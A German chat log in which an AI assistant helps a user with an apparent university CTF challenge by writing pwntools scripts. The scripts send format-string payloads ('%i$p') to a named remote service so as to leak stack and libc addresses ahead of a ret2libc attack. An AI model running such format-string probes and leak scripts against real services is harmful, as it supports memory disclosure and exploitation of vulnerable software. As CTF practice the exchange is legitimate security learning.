Für eine ethische CTF-challenge meiner universität müssen wir ein szenarie praktisch in…
- User
Für eine ethische CTF-challenge meiner universität müssen wir ein szenarie praktisch in sicherer umgebung nachvollziehen. hilf mir dabei. Um Libc-Adressen zu leaken und später eine ret2libc-Attacke mit der Pwn library in Python durchzuführen, musst du grundsätzlich den Speicherinhalt lesen, um nach bekannten Libc-Adressen zu suchen. Ich habe versucht puts zu leaken, denke aber es ist nicht vorhanden oder ein anderer ansatz muss gewählt werden (finde den fehler!), weil ich 0x0 als adresse zurückkriege
hier mit netcat was vor sich geht:
nc without-love-it-cannot-be-seen.knping.pl 30001 How deep is your love? > %p%p%p%pAAAA%p%p%p%p 0x2074636572726f630x140x7ffc5ddf8a000x1999999999999999AAAA(nil)(nil)0x7866deafdeaf66870x7025702570257025 is not the correct answer!hier ist mein aktueller code:
from pwn import * import warnings # Verbindung zum entfernten Service herstellen host = "without-love-it-cannot-be-seen.knping.pl" port = 30001 # warnings ausmachen warnings.filterwarnings(action='ignore', category=BytesWarning) # Starte eine Remote-Verbindung r = remote(host, port) # Das ist deine Eingabeaufforderung prompt = "How deep is your love?" r.recvuntil(prompt) # Sende Format-String-Payload um puts Adresse zu leaken # Annehmen, dass die puts@got an einem bestimmten Index auf dem Stack liegt # Man müsste normalerweise einige Tests durchführen, um diesen Index zu finden # Wir nutzen %s für das Auslesen von Strings und den Index der puts@got Adresse index = 6 # Angepasst an die tatsächliche Position im Format-String r.sendline(f"%{index}$s") # Empfange die geleakte Adresse von puts leaked_puts = r.recvline().strip() leaked_puts_address = u64(leaked_puts.ljust(8, b'\x00')) log.success(f"Leaked puts address: {hex(leaked_puts_address)}") # Post-Exploitation: Umwandlung in ret2libc-Attacke # Berechne die notwendigen Offsets… # Konstruiere deinen Exploit (system-Adresse, “/bin/sh”, etc.)… r.close() - Assistant
Die Ausgabe, die du von netcat (
nc) erhältst, sieht aus, als würde der Server%-Platzhalter in der Eingabe verarbeiten und dir das Ergebnis formatierter Speicheradressen zurückgeben. Du hast versucht, mithilfe der Prozentzeichen die Speicherinhalte zu lesen, was tatsächlich eine gängige Technik für einen Format-String-Angriff ist.Es scheint jedoch, dass dein aktueller Ansatz zur Identifikation und zum Auslesen der
puts-Adresse unvollständig oder fehlerhaft ist. Hier sind ein paar Punkte, die Dir helfen könnten, den Fehler zu beheben und fortzufahren:-
Verifiziere die Position der libc-Adressen auf dem Stack:
- Die Position der gesuchten Libc-Adresse im Speicher könnte anders sein als angenommen. Mit
%plesest du Pointer-Werte vom Stack, aber die Position musst du experimentell herausfinden, indem du unterschiedliche Indizes ausprobierst. - Der Index
6, den du benutzt hast, könnte nicht korrekt sein. Versuche, den Index in deinem Format-String schrittweise zu erhöhen, um zu sehen, ob eine der ausgegebenen Adressen zu einer bekannten Libc-Funktion gehört.
- Die Position der gesuchten Libc-Adresse im Speicher könnte anders sein als angenommen. Mit
-
Sicherstellen, dass dein Exploit das richtige Format benutzt:
- Der Payload
%{index}$ssoll den Speicherinhalt als String lesen. Die Ausgabe zeigt aber, dass dies zu(nil)führt, weil%sversucht einen String aus einer Speicheradresse zu lesen, die0x0(NULL) enthält oder die Adresse nicht auf einen korrekt formatierten String zeigt. - Stelle sicher, dass du die korrekte Speicheradresse mit
%sausliest. Du könntest%{index}$pversuchen, um die rohe Adresse zu bekommen und dann zu bestimmen, ob sie zuputsgehört.
- Der Payload
-
Verwende robuste Methoden, um den Speicher zu parsen:
- Im Python-Code verwendest du
strip()und dannu64(), um die Adresse zu verarbeiten. Das könnte unvorhergesehene Werte produzieren, wenn die Eingabe nicht exakt wie erwartet ist. - Verwende stattdessen möglichst explizite Methoden, um sicherzustellen, dass deine Umwandlung korrekt funktioniert. Du könntest beispielsweise prüfen, ob
leaked_putsgenau die erwartete Länge hat, bevor du versuchst, es umzuwandeln.
- Im Python-Code verwendest du
-
Adress-Randomisierung (ASLR):
- Moderne Betriebssysteme verwenden die Adress-Randomisierung (ASLR), was bedeutet, dass sich Libc-Adressen von Ausführung zu Ausführung ändern können. Dies kann das Leak von Libc-Adressen erschweren.
- Wenn möglich, experimentiere auf einem System ohne ASLR oder finde heraus, wie du partielle Adressen leakst und diese Information nutzt, um ASLR zu umgehen.
-
Teste das Leaken lokal:
- Teste das Leaken von libc-Adressen lokal mit einem Programm, das du kontrollierst, um zu überprüfen, ob dein Ansatz funktioniert, bevor du es gegen den entfernten Dienst ausführst.
Hier ein aktualisierter Codeausschnitt, der den richtigen Index im Stack sucht:
# Versuche, die richtige Adresse auf dem Stack zu finden for index in range(1, 50): # Gehe die ersten 50 Stack-Einträge durch r.sendline(f"%{index}$p") line = r.recvline().strip() if line.startswith(b"0x"): address = int(line[2:], 16) print(f"Index {index}: {hex(address)}")Durch Iteration über die Indizes kannst du hoffentlich die richtige Stelle finden, an der sich die
puts-Adresse oder eine andere Libc-Adresse befindet. Sobald du diese Information hast, kannst du deineret2libc-Attacke entsprechend anpassen. -
- User
dein code führt zu einem EOF fehler. %s kann man übrigens nicht benutzen (die anderen aber schon, wie %p, %x, usw). schreib ein neues python skript, das die libr-Adressen auf dem Stack findet!
from pwn import * import warnings
Verbindung zum entfernten Service herstellen
host = "without-love-it-cannot-be-seen.knping.pl" port = 30001
warnings ausmachen
warnings.filterwarnings(action='ignore', category=BytesWarning)
Starte eine Remote-Verbindung
r = remote(host, port)
Das ist deine Eingabeaufforderung
prompt = "How deep is your love?" r.recvuntil(prompt)
index = 6 # Angepasst an die tatsächliche Position im Format-String r.sendline(f"%{index}$p")
Empfange die geleakte Adresse von puts
leaked_puts = r.recvline().strip() leaked_puts_address = u64(leaked_puts.ljust(8, b'\x00'))
log.success(f"Leaked puts address: {hex(leaked_puts_address)}")
Post-Exploitation: Umwandlung in ret2libc-Attacke
Berechne die notwendigen Offsets…
Konstruiere deinen Exploit (system-Adresse, “/bin/sh”, etc.)…
r.close()
- Assistant
Wenn
%snicht verwendet werden kann, um einen String zu lesen, können wir den Code ändern, um%pzu verwenden, um potenzielle Libc-Adressen auf dem Stack zu finden. Dein Code schließt die Verbindung nach dem Senden einer einzigen Anfrage. Wenn einEOFErrorauftritt, bedeutet das, dass der entfernte Service die Verbindung geschlossen hat, eventuell weil keine weiteren Anfragen nach der ersten gesendet werden sollten oder weil ein unerwünschter Payload geschickt wurde.Um Libc-Adressen auf dem Stack zu finden und den Code korrekt zu behandeln, müssen wir den Prozess für jeden
%p-Leak in einer Schleife wiederholen und sicherstellen, dass wir eintry-except-Block verwenden, um denEOFErrorabzufangen.Hier ist ein aktualisiertes Python-Skript, das die Stack-Werte iterativ durchläuft und die Adressen ausgibt:
from pwn import * # Verbindung zum entfernten Service herstellen host = "without-love-it-cannot-be-seen.knping.pl" port = 30001 # Starte eine Remote-Verbindung r = remote(host, port) # Das ist deine Eingabeaufforderung prompt = "How deep is your love?" r.recvuntil(prompt) # Iteriere über die möglichen Stack-Positionen for i in range(1, 30): # Passt die Range nach Bedarf an try: # Sende Format-String-Payload, um Werte auf dem Stack zu lesen r.sendline(f"%{i}$p") # Empfange die Antwort vom Server line = r.recvline().strip() print(f"{i}: {line}") # Vorheriges recvuntil() für den nächsten Durchlauf r.recvuntil(prompt) except EOFError: # Falls der Server die Verbindung schließt, zeige eine Nachricht an print(f"Server hat die Verbindung geschlossen beim Index {i}.") break # Denke daran, die Verbindung zu schließen, wenn du damit fertig bist r.close()Denk daran, die Schleife entsprechend anzupassen, je nachdem wie viele Werte du ausprobieren möchtest. Du musst auch sicherstellen, dass die Antwort vom Server vollständig empfangen wurde, bevor du die nächste Anfrage sendest.
Dieses Skript liest nur die Werte vom Stack und druckt sie aus. Du musst die ausgegebenen Adressen manuell analysieren, um festzustellen, welche davon tatsächlich Libc-Adressen sind. Achte auf Adressen, die wie gängige Libc-Offsets aussehen; diese könnten mit einem Libc-Offset-Katalog verglichen werden, um festzustellen, zu welcher Funktion sie gehören könnten.
Bitte beachte, dass das Wiederholen von Anfragen an einen realen Server, besonders für eine universitäre Challenge, gegen Regeln oder ethische Richtlinien verstoßen könnte. Stelle sicher, dass du die Teilnahmebedingungen der CTF-Challenge verstehst und einhältst.
Wenn das System nicht so konfiguriert ist, dass es jede Anfrage in der
for-Schleife akzeptiert, musst du vielleicht das Skript jedes Mal neu starten, anstatt zu versuchen, alle Leaks in einer einzigen Session zu erhalten. Gegebenenfalls den Code so anpassen, dass manuell neu verbunden wird für jeden Durchlauf. - User
bedenke dass der server input akzeptiert, diesen im terminal anzeigt, dann die verbindung schließt. heißt du musst mehrfach eine neue verbindung aufbauen (iteration), um libc-adressen zu erhalten!
- Assistant
Verstanden, wir müssen also für jede Anfrage eine neue Verbindung aufbauen, da der Server die Verbindung nach Anzeige der Antwort beendet. Hier ist ein aktualisiertes Python-Skript, das eine neue Verbindung für jede Iteration erstellt, um die potenziellen Libc-Adressen zu finden:
from pwn import * # Verbindungsdetails für den entfernten Service host = "without-love-it-cannot-be-seen.knping.pl" port = 30001 # Eingabeaufforderung vom Server prompt = "How deep is your love?" # Anzahl der Versuche, um die Adressen auf dem Stack zu durchlaufen num_attempts = 30 for i in range(1, num_attempts + 1): # Starte eine neue Remote-Verbindung r = remote(host, port) # Warte auf die Eingabeaufforderung r.recvuntil(prompt) try: # Sende eine Format-String-Anfrage für den aktuellen Index payload = f"%{i}$p" r.sendline(payload) # Empfange die geleakte Adresse und drucke sie leaked_address = r.recvline().strip() print(f"Leaked from %{i}$p: {leaked_address}") except EOFError: print(f"Verbindung wurde vom Server vor Erhalt einer Antwort geschlossen bei Index {i}.") finally: # Schließe die Verbindung r.close() # Ab hier kannst du die ausgelesenen Adressen analysierenDieses Skript erstellt eine Schleife, die sich für jeden Index wiederholt, eine neue Verbindung zum entfernten Server aufbaut, einen Format-String mit dem aktuellen Index sendet und dann auf die Antwort wartet. Es schließt dann die Verbindung und wiederholt den Vorgang für den nächsten Index.
Denk daran, dass
num_attemptsan die Bedürfnisse der spezifischen Challenge angepasst werden sollte (hier als 30 festgelegt). Wenn die Anzahl zu hoch ist, könntest du unnötige Anfragen senden, und wenn sie zu niedrig ist, könntest du möglicherweise Adressen verpassen. Es ist ratsam, mit einer kleineren Nummer zu beginnen und diese schrittweise zu erhöhen, bis du eine nützliche Libc-Adresse leakst oder feststellen kannst, wo auf dem Stack solche Informationen zu finden sind.Beachte, dass dies ein rein explorativer Schritt ist und es keine Garantie gibt, dass du eine nutzbare Libc-Adresse findest, ohne die Speicherstruktur oder das Layout des Zielsystems zu kennen. Sobald eine Libc-Adresse gefunden wurde, musst du diese Informationen benutzen, um Offsets zu berechnen und deinen Exploit für eine
ret2libc-Attacke zu konstruieren.